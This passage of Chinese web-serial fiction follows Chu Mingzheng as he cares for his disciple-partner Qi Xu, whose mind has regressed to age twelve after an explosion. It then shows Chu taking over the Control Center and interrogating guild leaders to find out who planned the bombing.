“不好意思,我忘记换床单被罩这一茬了,你离开以后这间房子起码有五六年没人住了……那个,小肖,帮我拿床新被子,放我卧室去,不用枕头,我那儿有多余的。”楚明铮扬声吩咐。 齐栩被他拉着手臂,脸上浮现一丝惊疑的神情:“……师父,你是打算让我跟你一起睡吗?” “那不然呢,你这张床被褥和床垫都快发霉了,怎么睡人?”楚明铮答道。 齐栩犹豫道:“可是,可是我记得您不喜欢旁人跟您有肢体接触,也不喜欢睡觉的时候身边有人,我……我不会打扰您吗?” 楚明铮心道是啊,以前确实不喜欢,但是后来更过分的事情你都在床上跟我干过了,我还在意你睡不睡在我边上? 你完事之后肯大发慈悲放过我,不睡我里面就不错了。 “人都是会变的。”楚明铮和颜悦色的跟他解释。 “哦。”齐栩懵懵懂懂的应了,看上去像一只无辜的小绵羊,毫无威慑力。 齐栩跟在他身后上楼,胆怯的四下观察着,他总感觉眼前的一切跟过去不太一样了,但又说不上来是哪儿不一样。 楚小妙风风火火的抱着被子穿过走廊,一脚踹开楚明铮的房门:“哥!我给你送被子来了,这是小肖姐从库存里好不容易扒拉出来的一床,洗干净了,给你放这儿了啊!” 她一进来,齐栩就下意识的往楚明铮身后缩,缩到一半又意识到楚明铮未必会在楚小妙面前护着自己,于是硬生生的将身形重新掰正过来,惴惴不安的在床沿坐好。 这笨拙而胆怯的一幕一览无余的落到了楚明铮和楚小妙眼里,楚明铮叹了口气,刚要回身安抚齐栩。 楚小妙却忽的起了逗小孩的心思。 “喂。”她把被褥在齐栩身侧放好,笑眯眯的说:“你知道不,楚明铮他是我哥,对于他来说,妹妹肯定比徒弟重要咯。” 齐栩默默的低下头去,紧抿着嘴唇没说话了。 楚明铮哭笑不得,他抓着楚小妙的肩膀,逼着她的身形换了个方向,面朝向大门去:“得得得……还嫌不够给我添乱的。” “我没有!哥哥,这不是跟十二岁的小朋友玩吗,啊哈哈哈你平时哪能见到齐长官这反应啊……” “他是个病人!你逗他干什么,闲得慌真是。”楚明铮将这唯恐天下不乱的妹妹一抓,顺势推出了房门。 回身时刚好对上齐栩那双委屈的眼睛。 楚明铮:“……” 他叹了口气,无奈的走到床前去,伸手将齐栩脑袋揉了揉,搂到自己怀里,温热的体温将齐栩的鼻梁和半边侧脸浸润完全,他靠在楚明铮瘦削结实的腰腹上,神情怔然。 “师父,你为什么抱我……”齐栩浑浑噩噩的问。 楚明铮将他松开,末了俯身蹲在地上,跟他视线保持平行,郑重其事的对他道:“我当然爱楚小妙。” “但是我也爱你。” 楚明铮伸手握住他的膝盖,温和的问道:“你感受不到吗?” 齐栩怔忪着,半晌没说话,过了很长时间,他的眼眶再次逐渐湿润,渗出丝缕难耐的红意。 喉结上下滚动,全然说不出来话。 楚明铮耐心的注视着他,一直到齐栩将情绪平复下来为止。 “好了,不哭。”楚明铮伸手给他擦了一下眼泪,翻身上床将这小朋友一搂,安抚道:“抱一下。” 小肖和冉云帆在厨房捣鼓了两个小时,总算把晚饭捣鼓出来了,马飞仙和大徐在基地的院落里支起了桌子,几道热乎乎的菜端盘上桌。 楚小妙噔噔噔跑上楼,拍门喊他哥跟齐栩出来吃饭。 楚明铮警惕的打开卧室门,跟她大眼瞪小眼对视一眼,末了挥手示意此人先下楼去,自己随后就到。 楚小妙茫然:“你跟我一起下来吃饭不就好了,为什么让我先走?” “你俩在房间里鬼鬼祟祟干什么呢?” 楚明铮将她肩膀箍着往下一拎,小声道:“我俩没干什么……但是你给我先撤,别让齐栩看见我跟你单独说话。” 楚小妙:“……” 是可忍孰不可忍! 原来三十年河东,三十年河西这句话居然是真的! 楚小妙小时候跟齐栩置气,拿楚明铮的宠爱当令箭的反噬时隔数年终于来了。 失忆了不起吗?! 会哭了不起吗!? 就你会重返十二岁?! 楚小妙一个头气成两个大,噔噔噔的带着怒火又下楼去了。 楚明铮这才回身,去喊床上的齐栩起来穿衣服吃饭。 齐栩刚才已经在楚明铮的床上蜷缩着睡着了,身上盖着一席薄被,睡的很安稳。 楚明铮走过去,轻轻拍了拍他的肩膀,将齐栩从睡梦中叫醒。 齐栩此时完全是一副小孩神态,刚醒时神情懵懂,眼睛还睁不太开,迷迷糊糊的往楚明铮身上靠。 楚明铮俯身将他一抱,半哄半劝道:“下来吃饭了,把衣服穿好,外边冷。” 齐栩茫然的被他从床上扶起来,从里到外的将衣服穿好,楚明铮低头给他系扣子的时候,他盯着楚明铮耳畔几缕不那么黑的发丝,犹豫着开口:“师父,我怎么觉得……你跟以前长得不太一样了。” 楚明铮抬起头来,心平气和道:“十多年过去了,师父要是还跟你十二岁的时候长得一样,那才是有鬼了。” 齐栩没听懂,仍旧一脸迷惘的看着他。 楚明铮拍了拍他的脑袋,没说什么,只将他的手牵稳妥了,温和道:“走吧,吃饭去。” 基地的小院落里打开了廊灯,葡萄架上缠绕着斑驳的电线,每隔一小段就缀着一两个灯泡,藤蔓爬了一整墙,将院落中间的餐桌点缀的温馨而和煦,处处都是暖意融融的色彩。 基地众人坐在桌前,面露迷惑的看着齐栩和楚明铮。 “会夹菜吗?”楚明铮端着碗问齐栩。 齐栩乖巧点头。 “想吃哪个菜够不着就跟我说,我给你夹。”楚明铮不放心的叮嘱了几句,然后起身给齐栩盛汤。 马飞仙一脸痛苦:“我说楚哥,他是十二岁,他不是两岁,这怎么能连个汤都不会盛呢?” 楚明铮瞥了齐栩一眼,继续代劳道:“他受伤了,我担心他拿不稳。” “那应该不止碗拿不稳,受伤了有可能勺子都拿不稳,你要不要端着碗喂他?”马飞仙震惊且阴阳怪气的道。 楚明铮回头,很认真的问了齐栩一句:“你要吗?” 齐栩一时没消化掉这个信息,懵懵道:“要什么?” “我喂你。” 齐栩:“……?” 半秒后,他的脸倏然涨红了,连连摆手:“不,不用了师父,我自己会喝汤的,谢谢师父。” 楚明铮将汤碗放到了他手边,神色并无异样道:“要的话跟我说。” 桌上众人都是一阵牙酸,楚小妙痛苦面具都出来了。 “哥哥,我记得你俩当中只有一个人脑子被爆炸震伤了来着。”楚小妙吐槽:“我今天这一看,怎么被夺舍的是两个人?” “你才被夺舍了,吃你的饭。”楚明铮没好气道。 齐栩安静的坐在一旁喝汤,神色乖巧,柔和而沉默,跟他十二岁时的模样如出一辙。 冉云帆看着他,忍不住感慨道:“哎,小齐要是一直都是这模样就好了,你说他长到十八岁变什么异啊,要是没有当年他回来强行带走楚哥的那一茬,咱们一家人一直这样安安稳稳的在基地里过下去,多好。” 楚小妙和肖静连连点头,都表示赞同。 楚明铮扫视了众人一眼,漫不经心道:“然后基地就会被唐虞非那帮人接连轰炸,闹得不得安宁。” “只要我在,基地对于主控中心那帮人来说就是块肥肉,我不能永远维持在精力和状态的最高水平,万一保护不好大家,我们随时都会分崩离析。”楚明铮平静的又给齐栩夹了一筷子菜。 “但是有他在,就能把主控中心那帮烦人的家伙挡开一大半,我觉得不是坏事。” 马飞仙笑骂道:“你就铁了心的站他那边说话了是吗?” “楚明铮我发现你这个人变卦变得比谁都快,两个月前回来的时候还说,跟主控中心势不两立,转眼就把主控中心一把手接到家里来照顾,还不让我们说他不好。” 楚明铮忍无可忍,上前就要暴力制裁他:“姓马的,你再给我多嘴——” 马飞仙撂了筷子绕着饭桌就跑,被大徐一把拽住,仨人混战一团互殴。 “老马,你装什么呢,你自己明明也很高兴小齐回来了!”大徐一手一个,忙不迭的拦住楚明铮和马飞仙,边拦边劝架。 “净胡说,我没有!” “你有!你今天甚至多做了几道菜!都是小齐以前喜欢的,还说没有!” “我喂狗的!” …… 齐栩坐在餐桌上,一脸呆萌的刨着米饭,对于他们吵架的内容一点都听不懂。 于是他小声开口问一旁的肖静:“小肖姐,他们在吵什么呀?” 肖静哑然失笑,抬手揉了揉齐栩的脑袋,温声道:“没事,他们在吵一个傻瓜从基地去而复返的来龙去脉。” 第93章 “爱情保鲜靠表白,有爱…… 一顿饭吃的鸡飞狗跳。 楚明铮帮着马飞仙和大徐把碗和筷子洗了,桌子收拾好归位。 大徐斜眼瞅着他,忽然道:“楚哥,我发现你变得比以前有人情味了。” 楚明铮头也不抬的擦桌子:“何以见得?” “你居然会帮忙做家务了。” “……”楚明铮无语抬眼:“朋友,这就是你所谓的人情味吗?” “是啊。”大徐笑道:“不过也不止,你自己可能察觉不到你的变化,旁人倒是都能看见。” 楚明铮:“?” “首先就是。”大徐指出:“你会关心人了。” 楚明铮心说你真是眼瞎。 “虽然你以前也挺好的,但是你以前对人的好都是不声不响的,好听点来说叫不声不响,润物细无声的关照,不好听一点就是你情商不够,经常是把保护别人的事情都做了,面子上却跟人家冷冷淡淡的,既也不客气也不饶人,到头来好事全让你干了,好处是一点没落下。” 楚明铮停下动作,实在是忍不住笑了起来,他叉着腰问大徐:“你到底会不会夸人?” “楚哥你理解错了,我本来也没有夸你的意思呢。”大徐温润和善道。 楚明铮抄着擦桌布就给他撇过去了,大徐偏头一躲,将布块抖落一下,放进洗水池中,三下五除二冲洗干净了。 “反正就是,你现在这样挺好的。”大徐笑眯眯的说:“爱情保鲜靠表白,有爱就要说出来。” “哦,也不止爱情,其他感情也一样的哦,包括战友情。” “你要是敢有了齐栩就忘了我们这群人的话,我们是要伤心的。”大徐贱兮兮的又补充了一句。 楚明铮气乐了。 “人家现在心理年龄十二岁,谁跟他有爱情?我又不是变态。” …… 楼上突然传来一声惊叫,楚明铮闪电般手一哆嗦,抬头看去,那好像是齐栩的声音。 “放着吧,我来。”大徐善解人意道:“你去看看什么情况?” 楚明铮没跟他废话,将一池子碗筷一撂,转头奔向二楼。 楚明铮将卧室的门一推,只见齐栩正傻愣愣的站在镜子前,听见楚明铮的动静,就一脸惊恐的回过头来:“师父……” 楚明铮三步并作两步往他身前蹿,一迭声的问道:“怎么了怎么了?出什么事了?” 齐栩战战兢兢的指着镜子里那个高瘦俊朗的陌生男人,欲哭无泪:“师父,他是谁啊,我不认识他。” “我照镜子,怎么会照出他的模样!” 楚明铮站在他身侧,跟他一起并排看着镜中那个熟悉又陌生的年轻人,不禁哑然失笑。 “这就是你。”楚明铮牵着他的手,引导着他用指尖去触碰镜中画面,齐栩的指腹从镜中自己的面容上徐徐拂过。 “这不是我。”他皱眉道。 “师父,我不长这样,我没有这么高,也没他这么结实,他的身形轮廓快是我一倍大小了。”齐栩不解的用目光描摹着镜子里另一个自己的轮廓:“他比师父你还高呢。” 诚然,镜中的成年齐栩论个头,比楚明铮高半个脑袋,论身形,他一只手臂能将楚明铮整个腰身揽住。 两人静默的站在镜前,齐栩惶惶不安的回过头,试图从楚明铮眼中得到一个答案。 楚明铮笑了笑,轻声道:“你就当,这是一面预知镜好了,它照出的是长大以后的你。” 齐栩无声的再次丧气下来:“我不要长大。” “为什么?” “长大以后就要离开师父了。”齐栩难过道。 楚明铮挑眉,心说你这又是在心里给自己唱的哪一出? “师父说过的,现在不赶我离开基地,是因为我现在小,那我长大以后呢?”齐栩问道:“如果我有自保能力的话,你会让我离开你吗?” 楚明铮沉默着,无语望天。 他心说孩子,我真是千古奇冤。 你是十八岁那年自己自觉主动要离开基地的,我去副本里哄你都哄不回来,这锅我可不背。 他心里是这么想的,嘴上却仍然回答的是:“不会,你想在我身边呆多久就呆多久。” 齐栩喉咙哽住半晌,深呼吸着点了点头。 也不知道信了没信。 齐栩顺着镜前,缓缓蹲到地上,双手捧着自己的下巴,目不转睛的观察着镜中的自己,看了相当长的时间,都没有挪开目光。 楚明铮担心他看着看着脑袋一转,又有新的难回答的问题抛出来为难自己,楚明铮可不想对着个十二岁的小朋友把他日后十二到二十四岁干的那些破事全都讲一遍。 于是楚明铮思忖着伸手,俯身将齐栩从地上半扶半拽着拉起来,嘴里哄劝着把他往床上推。 “时间差不多了,可以睡觉了,你刚出院没多久,得多休息。” 齐栩懵懵懂懂的顺着他的力道坐回床上:“师,师父……” “嗯?”楚明铮随口应道:“要喝睡前晚安热牛奶吗?” “不用……”齐栩恍惚的抓着他的手臂:“我就是觉得,你对我,哪里不一样了……” “哪里不一样?师父不一直对你这样吗。”楚明铮睁着眼睛说瞎话。 他当然知道他年轻的时候是个什么德行,他把齐栩养在基地里,虽然肯定吃喝不愁,但要说他对齐栩的日常生活和心理健康真有多关心,那倒也没有。 更别提像现在这样嘘寒问暖关怀备至,问他睡觉前要不要喝什么牛奶了。 十二岁的齐栩一朝醒来,发现向来冷淡严酷的师父突然变得温和似水,心生奇怪也很正常。 楚明铮自己也没想好,该怎么向齐栩解释这些年他们师徒两人的所有峰回路转和情愫波折。 “我就是觉得,你现在不太像是我师父了。”齐栩抓着他的衣袖,犹犹豫豫的道。 “你……”齐栩胆怯而狐疑的望着楚明铮。 他是年纪小,但是他不傻,他总觉得自己一觉醒来,好像出了什么了不得的大事,基地里其他人看他的眼光,跟从前完全不一样了。 尤其是楚小妙和马飞仙那两人,落在他身上的每一寸目光,都仿佛意味深长。 但那种意味深长不是恶意,而是一种……莫名的忌惮。 他们忌惮自己干什么? 自己只是一个不起眼的小孩子,在基地的重要性排行里甚至排不到中游。 楚明铮默然的注视着他,良久,他伸手轻轻拍了拍小徒弟的脑袋。 “你想的太多了,这么小年纪,思虑不要太重。” “睡吧,师父在旁边陪着你。” 卧室里小夜灯亮起,在四方温暖的被褥间氤氲出融融泄泄的光影,齐栩被楚明铮强按着头,灌了一杯温热的牛奶,困意逐渐袭卷了他的大脑。 就在他困倦的抓起被子,准备闭眼睡觉时—— 卧室大门被人石破天惊一声巨响!从外推开,紧接着蹦进来一个活像是逃难来的苍白少年。 楚明铮勃然变色,却已经来不及起身将少年推出去让他闭嘴了。 “阿朝——” 那少年约莫十五六岁的样子,换了平时,齐栩应该是得喊“哥哥”的,他冷不防撞开门,站在门槛边目光来回打转几圈,一脸哀怨,直挺挺的朝着卧室床榻的位置俯冲而来:“爸爸——” 齐栩惊慌失措的往楚明铮身后躲:“师父!他喊我什么?!” “爸爸,你带着他们一起回基地了怎么不告诉我!我一个人在府邸睡到半晚上,一觉醒来,天都塌了,府邸一个人都没有!” “整个楼空荡荡的!” “给我吓坏了,穿着睡衣就往外冲,结果院子里也没有人!哇,人去楼空剩我一个!你们到底是不是我亲生父母,如此狠心,把我一个人抛下,连个字条都没有留给我!” “我还是一路冲去主控中心,在你办公室找到秘书姐姐,她才告诉我,你们一家都回基地的事!” 楚朝往齐栩床前一坐,也不顾他一脸惊恐的老父亲心脏病都快被他吓出来了,自顾自的坐在床上抹眼泪擦鼻涕,干嚎的整条走廊都能听见。 十二岁的小齐栩倏然从床上蹿起来,裹着被子躲到了楚明铮身后去,指着楚朝战战兢兢道:“你,你你……” “你别乱叫人!” 楚朝惊讶,心说天啊,老爸你这是不打算认我这个儿子的节奏啊!该不是在外边又有家庭了吧? “爸爸你不认我了?!” “你不认我了?你真的不认我了?” 楚朝跪行在床上一迭声的边质问边逼近齐栩,动作之快,气势之汹汹连楚明铮挡都挡不住。 “阿朝,阿朝你等一下——”楚明铮一手一个,拼命把齐栩和楚朝往开隔。 然而下一秒,楚朝这个人形自动添乱机直接转向了他,委屈巴巴道:“妈妈,你说他什么情况,他是我爸他不肯认我?” 齐栩同志的惊恐值在此刻终于达到了顶峰。 “你……喊我师父叫什么?” 楚朝无辜的转过头,指了指楚明铮,又重复了一遍:“妈妈啊。” 然后他又看着齐栩的眼睛,口齿清晰,一字一句,掷地有声的叫了一声:“爸爸。” 齐栩眼睛往上一翻,“咕咚”一声,终于因为精神过度刺激而仰头昏倒了过去。 第94章 楚明铮的整顿职场日常…… 楚明铮连忙翻滚上床榻,伸手朝齐栩人中探去,掐完人中拍后背,拍完后背又将人放平,惊慌失措的给徒弟按压心脏。 过了好一会儿,齐栩才悠悠醒转,一双眼睛依旧茫然而惊恐,握紧了楚明铮的手腕,看起来大脑有一瞬间的断片,完全没想起来自己是为什么昏倒的。 直到他看见了同样坐在床边一脸关切的楚朝,这才再次惊恐至极的从床上翻腾起来,死命抓住楚明铮的手往后退:“师父,师父——” 楚明铮无奈的用身形将楚朝挡在自己身后,末了安抚性的拍拍齐栩,轻声道:“别怕。” 楚朝窝在楚明铮身后吐了吐舌头,他显然也看出来齐栩的精神状态和智力情况上的问题了,楚明铮回身不轻不重的给了儿子一肘,示意他先走。 楚朝后知后觉自己好像闯了点祸,于是火速起身从卧室里出去了。 齐栩呆滞而目不转睛的看着眼前的一切,终于问出了那几个关键性问题。 “师父,我究竟是谁?现在在哪儿?你们都是……怎么了?” 楚明铮深长的叹了口气,心道该来的总会来的,有些事情既然无论如何都躲不过去,就只能血淋淋的硬着头皮上了。 “现在是十二年后。”楚明铮指了指卧室中的镜子,示意他自己去看自己镜中的模样。 “你现在二十四岁了。” 齐栩怔然,下意识摊手去看自己平白无故大了几个号的掌心和手臂,他从医院醒来开始就一直浑浑噩噩的,一路在楚明铮身前呆着,也不是没注意过自己身体的异样,但是他受过伤后的稚嫩大脑盘算不通那么多疑点,就始终下意识没当回事。 直到真有个十几岁的小朋友从天而降叫自己爸爸,齐栩才被迫直面了其中真相。 “我二十四岁了?”齐栩茫然无措的喃喃道。 齐栩发现自己得知此事的第一个反应并不是难以置信,他目瞪口呆的望着楚明铮,无数情绪仿佛打翻的颜料盘,在心底晕染成斑驳的色块。 忐忑,混沌,如释重负。 他暂时没有分心力去想十二年后的楚朝是哪里来的?楚小妙和马飞仙为什么会用那种奇怪的目光看他,以及基地里其他人意味深长的表情都是什么意思? 齐栩此时满心满眼都只在乎一个事情。 原来十二年后,他仍然呆在楚明铮身侧。 楚明铮对他的关照并没有随着他的年岁渐长而减少,也没有因为他年少的稚嫩和不堪而疏离。 楚明铮仍然将他护在基地里,仍然将他罩在羽翼下。 十二年了,无数个深夜里最担心的事情没有发生,他没有离开楚明铮。 这就够了。 齐栩苍白的指尖用力握着床单,泪水在眶中反复打转,过了很长很长时间,才轻轻的呼出一口气,胸腔里隐忍的酸楚逐渐消退,他很顺畅的接受了自己已经二十四岁的这个事情。 楚明铮对这个反应也很意外,他抬手帮齐栩擦了擦眼角渗出来的湿意,温声道:“还有什么要问我的吗?” 齐栩点了点头,小声给他指了指门外楚朝离开的方向:“他是谁?” “你刚才听到了,你儿子。” 齐栩浑身打了个哆嗦:“那师父……我们是什么关系?” 楚明铮安静的眨了眨眼睛,心平气和的笑了,反问道:“你觉得呢?” 十二岁的齐栩隔着数年时光,在这方狭小而安详的温室空间里与他对视,他看着看着楚明铮那张疲倦而眉目温和的脸,眼圈倏然又红了。 “他为什么会喊你妈妈……师父,我该不会是做了什么对不起你的事吧?”齐栩仓皇失措的难过道。 楚明铮实在忍不住了,肩膀抖动着,低头笑了起来。 齐栩迷糊而不安的继续看着他,直到楚明铮笑够了,这才重新抬起头来。 “你是挺对不起我的。”楚明铮认真的看着他的眼睛道。 “不过总体看下来,我也没有很吃亏。”楚明铮云淡风轻的伸出手,将床头灯一灭,屋里重归黑暗:“算你扯平了,小朋友。” “现在可以睡觉了吗?今晚的答疑环节到此结束,晚安。” …… 翌日清晨,基地大厅。 “这是你爸卧室门的钥匙,这是他一天吃药的所有清单,以及换药次数,把药单和钥匙都拿好,不许让你小妙姨妈靠近你爸的卧室,其他人进去的话你要给我发信息打申请,他全程由你看护,要是出了任何问题,今晚回来我唯你是问。” 楚朝:“……” “老妈,你防贼呢?”楚朝小声怒斥道:“你这样防贼似的心态,会让基地的哥哥姐姐们寒心的!” 楚明铮同样小声的斥责回去:“你爸小时候什么智商,有多小心眼你又不是不了解,我好不容易把他从医院接出来安抚好,他们进去再给我没轻没重的说话捣乱,那不白费力气了吗!” “听我命令行事!出了问题我拿你开刀!” 楚朝哭丧着脸一一答应了。 祝檀雪和焦澜副官早在一旁等候着了,见楚明铮交代完了全部事项,连忙过来引着楚明铮上车。 楚明铮将风衣拢好,神色肃杀下来,转身而去。 不多时就跟着齐栩的部分心腹手下们驱车赶到了主控中心。 “楚先生,要我们帮忙做什么吗?”祝檀雪忧心忡忡的跟在他身后上楼:“您对主控中心不熟悉,他们不服您,未必能将今日的局面压下来。” 楚明铮站定脚步,点了点头:“我现在要进主神图腾密室,大概十五分钟左右,十五分钟后把四大会长叫到新设的会议室,我有话要说,通知到位就行,他们一定会来的。” 祝檀雪频频点头:“好的,我这就去办。” “等到我们会议开始之后,接下来的指令我会发信息通知你,方式可以随机应变,但是人一定要给我抓回来。”楚明铮冷冷的吩咐道。 “是。” 说完楚明铮大步而过,径直踏入了主神图腾密室。 一路畅通无阻,毫无障碍。 主神不会拦他的,这点楚明铮心知肚明。 从血池棺林副本出来过后,主神也很难拒绝他的要求,这点楚明铮也心知肚明。 “请把你给齐栩的权限暂时转让给我。”楚明铮站在图腾之下,毫不犹豫的说。 “你指的是哪部分?”主神懒洋洋的问。 “全部。”楚明铮斩钉截铁:“我要主控中心全体人手在接下来的两个小时内全部听命于我,不得违抗。” 主神默然片刻,不知道是想起了什么,图腾上的纯白仙鹤愈发飘逸潇洒,背景图里满目疮痍,唯有正中仙鹤安然秀美,与世隔绝。 “我知道了。”主神疲倦的道:“他们会收到通知的,你去吧。” 楚明铮略一点头,转身便走。 主神在虚空里怅然的看着他,那清瘦挺拔的背影越来越远,步履如风。 他可真不像贺松墨,楚明铮的每一道举动都坚韧果决,每一寸目光都锐利明净,跟记忆中那个温润无声的青衫男人大相径庭。 我为什么会在这样的一个人身上,去寻找老师的影子呢? 主神思考了半天,没有得出答案。 楚明铮转身朝临时会议室走去,会议室里的人已经齐了,魏仞和周自重分别坐在左右最靠前的两端,次座往下依次是第三公会会长,第四公会会长,以及第五公会会长。 六会长的位置是空着的,他那天引爆炸药后,跟齐栩一齐被送往医院,结果没抢救过来,如今已经躺在太平间里了。 楚明铮推门而入,迎接了一众人诧异到极点的目光。 “怎么……怎么是你?”第三公会会长起身结结巴巴道:“楚先生,你喊我们来开会的吗?” 楚明铮绕过长桌,走到主位上坐下,和颜悦色的回答:“是啊,只能是我了,齐栩身体还没恢复,这场会议暂时由我代劳。” “可……”三会长环顾四周,看起来很为难道:“您也不知道主控中心平时的工作日程啊,有什么需要您代劳的呢?” “再说这也不符合规定,主控中心最近也没有什么值得探讨的问题,齐栩长官不在的情况下,可以由魏长官代劳。”三会长抬手指了指魏仞。 老魏倒是也没想到,三会长在这种时候把他推出来。 这群人平时也不见得有多服他,此时只不过是跟楚明铮插手主控中心比起来,他们更愿意把他老魏架上去当这个明面上的主心骨而已。 老魏不动声色的瞪了三会长一眼,心里却又不得不承认,齐栩现在重伤未卜,与其让楚明铮越级做他们的主,不如主控中心这几位老人关起门来,自己把自己的事情处理了。 权力是个很玄妙的东西,哪怕再小,也总归是个名头,能往手里抓一把就是一把。 谁也不愿意主动让渡给楚明铮。 但是他们又不能全然不给楚明铮面子,首先楚明铮跟齐栩的关系有目共睹,两人师徒相称,相携数年,关系最差的时候齐栩也没对外人诋毁过楚明铮半句,何况现在两人关系修复一如从前,齐栩对此人更是言听计从。 不能将楚明铮得罪的太狠,否则齐栩伤愈归来不好交代。 其次在副本上千万玩家的心中,楚明铮的个人威望凌驾于主控中心全体成员之上,这是毋庸置疑的,俗称粉丝数量太庞大了,不敢惹。 一群会长你看看我,我看看你,谁都不敢开口说第一句话。 老魏在原地沉默着坐了片刻,最终决定还是自己一马当先,直截了当的开口问了:“那你今天以齐栩的名义,把我们召集来这里,究竟有什么目的?” 楚明铮安稳的坐在主位上,修长双手十指相握,和缓而平淡道:“研究是谁蓄意谋害齐栩。” 四会长登时拧起了眉心,不悦道:“楚先生这是什么话,六会长身携炸药进入会议,重伤齐长官一事众人有目共睹,如今六会长已经死了,跟其他人有什么关系?” “听你这话的意思,是怀疑我们主控中心内部,另有凶手啊?” 楚明铮抬眼直视过去,半点也没隐瞒:“是啊,主控中心内部就是另有凶手,爆炸的事情也不光是六会长一个人的功劳。” 这话一出,犹如投石入水,惊起千般波澜。 这下谁都顾不上得罪楚明铮后果不后果的了,除了周自重外其余人纷纷拍案而起,无不惊怒交加。 “你这话是什么意思?!” “楚明铮你是怀疑我们当中有人策划了这起爆炸案?” “简直荒唐,这纯属你个人猜测臆想!” …… 周自重在旁边又是倒抽了一口凉气,心说祖宗,你这开会的方式跟齐栩相比有过之而无不及啊!都是参会一秒都能让爱好和平人士心梗而死的程度。 他本来以为楚明铮不管怎么说,好歹是给人家当师父的,比齐栩多吃了那么多年饭,总归应该圆滑成熟一点的! 现在看来他真是想多了。 楚明铮就是楚明铮,如果楚明铮不是这副性格作风,也教不出来齐栩那样的徒弟。 楚明铮坐在主位上纹风不动,只简单抬手压了一下众人愤怒的声势,对老魏道:“首先据我了解,六会长是你一手提携上来的,对吧?” 老魏简直要炸了,他弹跳而起,拍着桌子一字一句几乎喷着血发誓:“我是讨厌齐栩那个毛都没长齐,却还说一不二拽上天的小崽子,但是我这辈子但凡动过一点我要杀他的念头——” “用不着你楚明铮动手,我自己去副本里找个地方一头撞死!” 楚明铮对他的毒誓内容不感兴趣,他隔空点了点老魏的鼻尖:“好,那你现在告诉我,六会长最后一次找你是什么时候?” 老魏冷笑一声:“你在审问我吗?” “我凭什么回答你的问题?就凭你是积分总榜排行第一?” “还是凭你楚明铮长了一张好看的脸,吸引来一群不知死活的小年轻喜欢你?推崇你当第一?”老魏极尽所能尖酸刻薄的挖苦。 楚明铮最烦有人拿他的相貌说事。 论武力值,他并不比副本里那些五大三粗的汉子差,偏偏就有老魏这类人总喜欢以偏概全,将他在副本里屡战屡胜的经历归功于他这张脸。 妈的,过副本又不是选美,副本里鬼怪还能因为他长得好看而饶他一命不成? 顶多遇见过试图把他留下来配阴婚的,那更是糟心到没边了。 楚明铮扬手将桌子一拍,提高声音对门外喊了一声:“来人!带魏仞长官去禁闭区。” 这话一出,在场众人更是全数惊呆了。 魏仞是什么人? 跟齐栩并称主控中心两大长官,关系虽不及齐栩和主神密切,却是主控中心里靠资历唯一能制衡齐栩的人,地位也无疑凌驾于各大公会会长之上。 主控中心除核心地带以外的基层成员,受他恩惠被他提携的人更是不少,这老头子很喜欢在单位里养自己的“门生”,因此暗地里聚集了不少帮腔于他的力量,以第六公会会长为例,他就是魏仞“门生”里发展最好的。 可见此人明面上地位虽略低齐栩一点,但却能在各大会议上跟齐栩拍桌子,在主控中心横着走,是有其横着走的资本的。 现在楚明铮要把这么一个人,从会议室里拖出去关进禁闭室,在场众人无一不觉得他疯了。 皆是目瞪口呆的看着他。 魏仞冷笑一声,将二郎腿一翘,气定神闲的说:“老夫倒要看看,今天谁敢动我。” 话音刚落,会议室门板被人霍然推开,几个面容陌生的黑色制服鱼贯而入,三下五除二拖着魏仞就要走。 老魏这才慌了神,扯起嗓子:“来人啊!此地有人采取暴力行为,张杭,王觉!快进来!” 楚明铮知道他喊的是平日护身那几个亲信的名字,魏仞平时身侧绝对不缺保护的人,甚至来正常情况下,他进屋开会,几个在主控中心同样地位重要的保镖和人员就在门外站着,随时进去,以防齐栩在会议室里仗着年轻力壮对老魏不利。 但是今天的情况却格外不一样,老魏人都被锁着双手扣住压在原地了,屋外却迟迟不见帮手来,甚至来说没有一丝动静。 这是怎么回事? 不仅老魏,在场所有人心底都升起了这个疑虑。 为什么主控中心里,会有人听楚明铮的话,他们自己的人呢? 外边发生了什么? 楚明铮不紧不慢的揣了手,开口道:“忘了告诉诸位一件事。” “从现在开始,齐栩在主控中心的控制权限由我接管,人员也全部听我调遣,我只用齐栩手下的人,所以,你们现在能指望上的所有帮手,都已经被赶出主控中心门外了。” “这个建筑里只有我和你们,还有平时只听命于齐栩的手下。”楚明铮慢慢起身,走到魏仞面前,心平气和的说:“所以魏长官,你现在孤立无援。” “最好是老实点,我跟齐栩不一样,齐栩还跟你讲一点尊老爱幼的传统美德,我就不跟你讲了。” 楚明铮颇为无赖道:“我今年三十好几了,我岁数也挺大的,你也得尊敬我这个老人。” “不然我身体也不好,我往地上一躺,你也得给我赔心脏搭桥的钱,懂了不?” 众人一口老血闷在心里,心说那能一样吗!你三十好几,老魏可是六十好几啊! 你可真好意思! 老魏被两个黑色制服牢牢按在桌上,拼命抬起头去瞪楚明铮:“你……到底想知道什么?” “还是刚才的问题。”楚明铮语气没变,叙述道:“六会长上一次来找你是什么时候?” “今年过年!”老魏嘶吼:“去你大爷的,他今年过年才来我这儿拜过一次年!我能指挥他装什么炸药!再说那小子早就翅膀硬了,不听我管了,你把我往禁闭区往死里关也是白搭!” “很好。”楚明铮点点头,给那两人示意:“放开魏长官吧,让他落座。” 两个黑衣制服立刻恭恭敬敬的将魏仞松开,并搀扶着他的肩膀让他坐在椅子上。 老魏和曾受过此等奇耻大辱,气呼呼的将肩膀一甩,不让楚明铮手下碰。 周自重紧张的吞咽了一下唾沫,他眼瞅着各位同事的脸已经越来越阴沉了,他有心想劝劝楚明铮,别把事情做那么绝,主控中心这帮人咬起人来各个都不是吃素的。 奈何会议室里实在太安静,他给楚明铮疯狂使眼色,楚明铮却一眼都没往他这边瞥。 周自重无奈,只得重重咳嗽一声,给楚明铮示意。 楚明铮转过头,关切的问道:“老周,你嗓子不舒服?我让门外的人给你拿点药?” 周自重:“……” 祖宗!这种时候是嗓子疼的问题吗!你情商呢?智商呢?统统被你们家齐栩吃了吗? 四会长深吸一口气,在旁边黑着脸发话了:“楚先生。” “你今天这样做,有没有想过让齐长官回来了如何自处?你要是真打算越权管辖,临时代替齐栩长官的位置,那起码也得经过我们的全体投票同意才行,否则你就是以强权欺压人,待主神苏醒,是可以将你就地处决的。” 五会长小幅度的窝在他身侧点头。 楚明铮和颜悦色的问他俩:“二位贵姓?” “陈兆金。”四会长铿锵有力的说。 “王熊。”五会长紧跟着回答。 “好吧,陈会长,王会长,别着急,如果我猜的不错的话,很快也要有你俩的事了。”楚明铮温言道。 陈兆金和王熊对视一眼,同时流露出不屑的神色。 下一秒楚明铮手中电话响起,他将手机从口袋里拿出来,开了免提往桌上一放,散漫道:“说。” 